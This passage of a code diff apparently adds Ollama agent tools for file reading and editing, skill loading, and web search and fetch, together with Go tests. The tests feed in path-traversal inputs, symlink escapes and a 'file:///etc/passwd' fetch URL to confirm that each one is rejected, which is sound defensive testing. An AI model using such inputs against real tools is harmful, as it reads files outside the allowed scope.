+}
+
+func openWorkingRoot(workingDir string) (*os.Root, error) {
+	base, err := workingDirAbs(workingDir)
+	if err != nil {
+		return nil, err
+	}
+	return os.OpenRoot(base)
+}
+
+func writeAllAndSync(file *os.File, data []byte) error {
+	if _, err := file.Write(data); err != nil {
+		return err
+	}
+	return file.Sync()
+}
+
+func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
+	if limit < 0 {
+		limit = 0
+	}
+	content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
+	if err != nil {
+		return nil, err
+	}
+	if len(content) > limit {
+		return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
+	}
+	return content, nil
+}
+
+func workingDirAbs(workingDir string) (string, error) {
+	base := workingDir
+	if base == "" {
+		var err error
+		base, err = os.Getwd()
+		if err != nil {
+			return "", err
+		}
+	}
+	return canonicalPath(base)
+}
+
+func canonicalPath(path string) (string, error) {
+	abs, err := filepath.Abs(path)
+	if err != nil {
+		return "", err
+	}
+	resolved, err := filepath.EvalSymlinks(abs)
+	if err == nil {
+		return resolved, nil
+	}
+	return abs, nil
+}
+
+type readSelection struct {
+	enabled bool
+	start   int
+	end     int
+}
+
+func readSelectionFromArgs(args map[string]any) (readSelection, error) {
+	selection := readSelection{start: 1}
+
+	if start, ok, err := intReadArg(args, "start"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.start = start
+	}
+	if end, ok, err := intReadArg(args, "end"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.end = end
+	}
+
+	if !selection.enabled {
+		return selection, nil
+	}
+	if selection.start < 1 {
+		return readSelection{}, fmt.Errorf("start must be greater than 0")
+	}
+	if selection.end > 0 && selection.end < selection.start {
+		return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
+	}
+	return selection, nil
+}
+
+func readLineSelection(file *os.File, selection readSelection) (string, error) {
+	reader := bufio.NewReader(file)
+	var b strings.Builder
+	for lineNo := 1; ; {
+		line, err := reader.ReadSlice('\n')
+		if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
+			if b.Len()+len(line) > maxReadBytes {
+				return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
+			}
+			b.Write(line)
+		}
+		if err != nil {
+			if err == bufio.ErrBufferFull {
+				continue
+			}
+			if err == io.EOF {
+				break
+			}
+			return "", err
+		}
+		if selection.end > 0 && lineNo >= selection.end {
+			break
+		}
+		lineNo++
+	}
+	return b.String(), nil
+}
+
+func intReadArg(args map[string]any, key string) (int, bool, error) {
+	value, ok := args[key]
+	if !ok {
+		return 0, false, nil
+	}
+	switch v := value.(type) {
+	case int:
+		return v, true, nil
+	case int64:
+		return int(v), true, nil
+	case float64:
+		if v != float64(int(v)) {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return int(v), true, nil
+	case string:
+		v = strings.TrimSpace(v)
+		if v == "" {
+			return 0, false, nil
+		}
+		n, err := strconv.Atoi(v)
+		if err != nil {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return n, true, nil
+	default:
+		return 0, true, fmt.Errorf("%s must be a whole number", key)
+	}
+}
+
+func plural(n int) string {
+	if n == 1 {
+		return ""
+	}
+	return "s"
+}

agent/tools/file_test.go

@@ -0,0 +1,338 @@
+package tools
+
+import (
+	"context"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestEditReplacesUniqueText(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Updated note.txt") {
+		t.Fatalf("result = %q", result.Content)
+	}
+
+	content, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "hi world\n" {
+		t.Fatalf("content = %q", content)
+	}
+}
+
+func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "same",
+		"new_text": "other",
+	})
+	if err == nil {
+		t.Fatal("expected ambiguous edit to fail")
+	}
+	if !strings.Contains(err.Error(), "matched 2 times") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsEscapingPath(t *testing.T) {
+	dir := t.TempDir()
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "../outside.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected escaping path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsSymlinkEscape(t *testing.T) {
+	dir := t.TempDir()
+	outside := t.TempDir()
+	if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     filepath.Join("link", "note.txt"),
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escape to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+
+	content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("outside content changed to %q", content)
+	}
+}
+
+func TestEditRejectsFinalSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "link.txt")
+	if err := os.Symlink("target.txt", link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "link.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected final symlink edit to fail")
+	}
+	if !strings.Contains(err.Error(), "is a symlink") {
+		t.Fatalf("err = %v", err)
+	}
+	content, err := os.ReadFile(target)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("target content changed to %q", content)
+	}
+	info, err := os.Lstat(link)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if info.Mode()&os.ModeSymlink == 0 {
+		t.Fatalf("link mode = %v, want symlink", info.Mode())
+	}
+}
+
+func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
+		"path": "../note.txt",
+	})
+	if err == nil {
+		t.Fatal("expected parent path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRequiresApproval(t *testing.T) {
+	if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
+		t.Fatal("read should require approval")
+	}
+}
+
+func TestReadDefaultsToEntireFile(t *testing.T) {
+	dir := t.TempDir()
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadAllowsAbsolutePath(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": path,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadRejectsAbsoluteSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": link,
+	})
+	if err == nil {
+		t.Fatal("expected absolute symlink to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadStartEnd(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 2,
+		"end":   3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "two\nthree\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadStartOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "three\nfour\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadEndOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+		"end":  2,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "one\ntwo\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 1,
+		"end":   1,
+	})
+	if err == nil {
+		t.Fatal("expected huge selected line to fail")
+	}
+	if !strings.Contains(err.Error(), "selected content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
+	reader := io.MultiReader(
+		strings.NewReader(strings.Repeat("x", maxReadBytes)),
+		strings.NewReader("x"),
+	)
+
+	_, err := readAllWithinLimit(reader, maxReadBytes)
+	if err == nil {
+		t.Fatal("expected over-limit read to fail")
+	}
+	if !strings.Contains(err.Error(), "content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRejectsInvalidRange(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 4,
+		"end":   2,
+	})
+	if err == nil {
+		t.Fatal("expected invalid range to fail")
+	}
+	if !strings.Contains(err.Error(), "end must") {
+		t.Fatalf("err = %v", err)
+	}
+}

agent/tools/file_unix_test.go

@@ -0,0 +1,121 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"syscall"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestOpenRegularFileRejectsFIFO(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "pipe")
+	if err := syscall.Mkfifo(path, 0o600); err != nil {
+		t.Skipf("mkfifo unavailable: %v", err)
+	}
+
+	done := make(chan error, 1)
+	go func() {
+		file, _, err := openRegularFile(dir, "pipe", false)
+		if file != nil {
+			file.Close()
+		}
+		done <- err
+	}()
+
+	select {
+	case err := <-done:
+		if err == nil {
+			t.Fatal("expected FIFO to be rejected")
+		}
+		if !strings.Contains(err.Error(), "not a regular file") {
+			t.Fatalf("err = %v", err)
+		}
+	case <-time.After(time.Second):
+		t.Fatal("openRegularFile blocked on FIFO")
+	}
+}
+
+func TestEditPreservesModeDespiteUmask(t *testing.T) {
+	oldUmask := syscall.Umask(0o077)
+	defer syscall.Umask(oldUmask)
+
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chmod(path, 0o666); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	info, err := os.Stat(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := info.Mode().Perm(); got != 0o666 {
+		t.Fatalf("mode = %#o, want 0666", got)
+	}
+}
+
+func TestReadRejectsSymlinkEscapingWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	secret := filepath.Join(t.TempDir(), "secret.txt")
+	if err := os.WriteFile(secret, []byte("top secret\n"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(root, "notes")
+	if err := os.Symlink(secret, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "notes",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escaping working dir to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadRejectsSymlinkInsideWorkingDirToOutside(t *testing.T) {
+	root := t.TempDir()
+	target := filepath.Join(root, "real.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	// A symlink to a sibling file still resolves inside the root; Read must
+	// reject it regardless, consistent with Edit's rejectFinalSymlink.
+	link := filepath.Join(root, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "alias",
+	})
+	if err == nil {
+		t.Fatal("expected symlink to be rejected even when target is inside root")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}

agent/tools/skill.go

@@ -0,0 +1,38 @@
+package tools
+
+import (
+	"context"
+	"errors"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+// Skill is the model-facing adapter for the core agent skill catalog.
+// It only supplies instructions; regular tools retain their own approval
+// requirements for filesystem or network access.
+type Skill struct{ Catalog *agent.SkillCatalog }
+
+func (t *Skill) Name() string { return "skill" }
+
+func (t *Skill) Description() string {
+	return "Load a named Ollama skill and return its instructions."
+}
+
+func (t *Skill) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("name", api.ToolProperty{Type: api.PropertyType{"string"}, Description: "Name of the skill to load."})
+	return api.ToolFunction{Name: t.Name(), Description: t.Description(), Parameters: api.ToolFunctionParameters{Type: "object", Properties: props, Required: []string{"name"}}}
+}
+
+func (t *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	name, ok := args["name"].(string)
+	if !ok {
+		return agent.ToolResult{}, errors.New("name parameter is required")
+	}
+	skill, err := t.Catalog.Load(name)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	return agent.ToolResult{Content: skill.Content()}, nil
+}

agent/tools/skill_test.go

@@ -0,0 +1,34 @@
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestSkillLoadsCoreCatalogWithoutApproval(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "release-notes")
+	if err := os.Mkdir(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := agent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	tool := &Skill{Catalog: catalog}
+	if agent.ToolRequiresApproval(tool, map[string]any{"name": "release-notes"}) {
+		t.Fatal("loading a skill must not change ordinary tool approval semantics")
+	}
+	result, err := tool.Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "release-notes"})
+	if err != nil || !strings.Contains(result.Content, "Use concise bullets.") {
+		t.Fatalf("tool result = %#v, %v", result, err)
+	}
+}

agent/tools/web.go

@@ -0,0 +1,186 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+const (
+	maxWebFetchContentRunes = 60_000
+	webSearchTimeout        = 15 * time.Second
+	webFetchTimeout         = 30 * time.Second
+)
+
+var ErrWebAuthRequired = errors.New("Not authenticated. Run `ollama signin` and try again.")
+
+type WebSearch struct{}
+
+func (w *WebSearch) Name() string {
+	return "web_search"
+}
+
+func (w *WebSearch) Description() string {
+	return "Search the web for current information that may not be in the model's training data."
+}
+
+func (w *WebSearch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("query", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The search query to look up on the web.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"query"},
+		},
+	}
+}
+
+func (w *WebSearch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "query" parameter (see agent package cleanup plan).
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
+	}
+	query, ok := args["query"].(string)
+	if !ok || strings.TrimSpace(query) == "" {
+		return agent.ToolResult{}, fmt.Errorf("query parameter is required")
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
+	defer cancel()
+
+	searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, ErrWebAuthRequired
+		}
+		return agent.ToolResult{}, err
+	}
+	if len(searchResp.Results) == 0 {
+		return agent.ToolResult{Content: "No results found for query: " + query}, nil
+	}
+
+	var sb strings.Builder
+	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
+	for i, result := range searchResp.Results {
+		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
+		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
+		if result.Content != "" {
+			content := []rune(result.Content)
+			if len(content) > 300 {
+				content = append(content[:300], []rune("...")...)
+			}
+			sb.WriteString(fmt.Sprintf("   %s\n", string(content)))
+		}
+		sb.WriteByte('\n')
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+type WebFetch struct{}
+
+func (w *WebFetch) Name() string {
+	return "web_fetch"
+}
+
+func (w *WebFetch) Description() string {
+	return "Fetch and extract text content from a web page."
+}
+
+func (w *WebFetch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("url", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The URL to fetch and extract content from.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"url"},
+		},
+	}
+}
+
+func (w *WebFetch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "url" parameter (see agent package cleanup plan).
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
+	}
+	urlStr, ok := args["url"].(string)
+	if !ok || strings.TrimSpace(urlStr) == "" {
+		return agent.ToolResult{}, fmt.Errorf("url parameter is required")
+	}
+	parsed, err := url.Parse(urlStr)
+	if err != nil {
+		return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
+	}
+	if scheme := strings.ToLower(parsed.Scheme); scheme != "http" && scheme != "https" {
+		return agent.ToolResult{}, fmt.Errorf("unsupported URL scheme %q: only http and https are allowed", parsed.Scheme)
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
+	defer cancel()
+
+	fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, ErrWebAuthRequired
+		}
+		return agent.ToolResult{}, err
+	}
+
+	var sb strings.Builder
+	if fetchResp.Title != "" {
+		sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
+	}
+	if fetchResp.Content != "" {
+		sb.WriteString("Content:\n")
+		sb.WriteString(truncateWebFetchContent(fetchResp.Content))
+	} else {
+		sb.WriteString("No content could be extracted from the page.")
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+func truncateWebFetchContent(content string) string {
+	return agent.Truncate(content, agent.TruncateConfig{
+		MaxRunes: maxWebFetchContentRunes,
+		Label:    "tool output",
+		Hint:     "Use a narrower request or search query if more detail is needed.",
+	})
+}

agent/tools/web_test.go

@@ -0,0 +1,214 @@
+package tools
+
+import (
+	"encoding/json"
+	"errors"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	coreagent "github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/envconfig"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+func TestWebToolsRequireApproval(t *testing.T) {
+	if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
+		t.Fatal("web search should require approval")
+	}
+	if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
+		t.Fatal("web fetch should require approval")
+	}
+}
+
+var webToolCases = []struct {
+	name      string
+	tool      coreagent.Tool
+	args      map[string]any
+	path      string
+	operation string
+}{
+	{"search", &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", "web search is unavailable"},
+	{"fetch", &WebFetch{}, map[string]any{"url": "https://ollama.com"}, "/api/experimental/web_fetch", "web fetch is unavailable"},
+}
+
+// enableWebToolsForTest isolates web tool tests from the runner's cloud
+// policy. In particular, Windows can inherit both OLLAMA_NO_CLOUD and a
+// server.json from USERPROFILE.
+func enableWebToolsForTest(t *testing.T) {
+	t.Helper()
+
+	// Register before t.Setenv so the cache is refreshed after t.Setenv has
+	// restored the runner's environment during cleanup.
+	t.Cleanup(envconfig.ReloadServerConfig)
+
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	t.Setenv("OLLAMA_NO_CLOUD", "")
+	envconfig.ReloadServerConfig()
+}
+
+// runWebTool executes tool against a stub server that responds to every
+// request with status and body, returning the resulting error.
+func runWebTool(t *testing.T, tool coreagent.Tool, args map[string]any, path string, status int, body string) error {
+	t.Helper()
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != path {
+			t.Fatalf("path = %q, want %q", r.URL.Path, path)
+		}
+		w.Header().Set("Content-Type", "application/json")
+		w.WriteHeader(status)
+		_, _ = w.Write([]byte(body))
+	}))
+	t.Cleanup(ts.Close)
+	t.Setenv("OLLAMA_HOST", ts.URL)
+	_, err := tool.Execute(t.Context(), coreagent.ToolContext{}, args)
+	return err
+}
+
+func TestWebToolsReportAuthenticationError(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusUnauthorized,
+				`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
+			if !errors.Is(err, ErrWebAuthRequired) {
+				t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
+			}
+		})
+	}
+}
+
+func TestWebToolsPreserveNonAuthenticationErrors(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusTooManyRequests,
+				`{"error":"web search quota exceeded"}`)
+			if err == nil {
+				t.Fatal("expected error")
+			}
+			if !strings.Contains(err.Error(), "web search quota exceeded") {
+				t.Fatalf("error = %q, want original error message", err)
+			}
+		})
+	}
+}
+
+func TestWebToolsIgnoreInheritedCloudPolicy(t *testing.T) {
+	// This cleanup is registered before the test environment, so it restores
+	// the server config cache after t.Setenv restores the runner's values.
+	t.Cleanup(envconfig.ReloadServerConfig)
+
+	home := t.TempDir()
+	configPath := filepath.Join(home, ".ollama", "server.json")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(configPath, []byte(`{"disable_ollama_cloud":true}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	t.Setenv("OLLAMA_NO_CLOUD", "1")
+	envconfig.ReloadServerConfig()
+
+	enableWebToolsForTest(t)
+	err := runWebTool(t, &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", http.StatusUnauthorized,
+		`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
+	if !errors.Is(err, ErrWebAuthRequired) {
+		t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
+	}
+}
+
+func TestWebFetchRejectsUnsupportedScheme(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	tests := []struct {
+		name    string
+		url     string
+		wantErr bool
+	}{
+		{name: "file scheme", url: "file:///etc/passwd", wantErr: true},
+		{name: "data scheme", url: "data:text/plain,secret", wantErr: true},
+		{name: "ftp scheme", url: "ftp://example.com/secret", wantErr: true},
+		{name: "http allowed", url: "http://example.com", wantErr: false},
+		{name: "https allowed", url: "https://example.com", wantErr: false},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{"url": tt.url})
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsupported scheme to be rejected")
+			}
+			// For allowed schemes we expect an error only from the missing
+			// server/auth path, not from scheme validation. The http/https
+			// cases reach the client and may fail on connection/auth; we only
+			// assert that the error is NOT a scheme error.
+			if !tt.wantErr && err != nil && strings.Contains(err.Error(), "unsupported URL scheme") {
+				t.Fatalf("http/https rejected as unsupported: %v", err)
+			}
+		})
+	}
+}
+
+func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != "/api/experimental/web_fetch" {
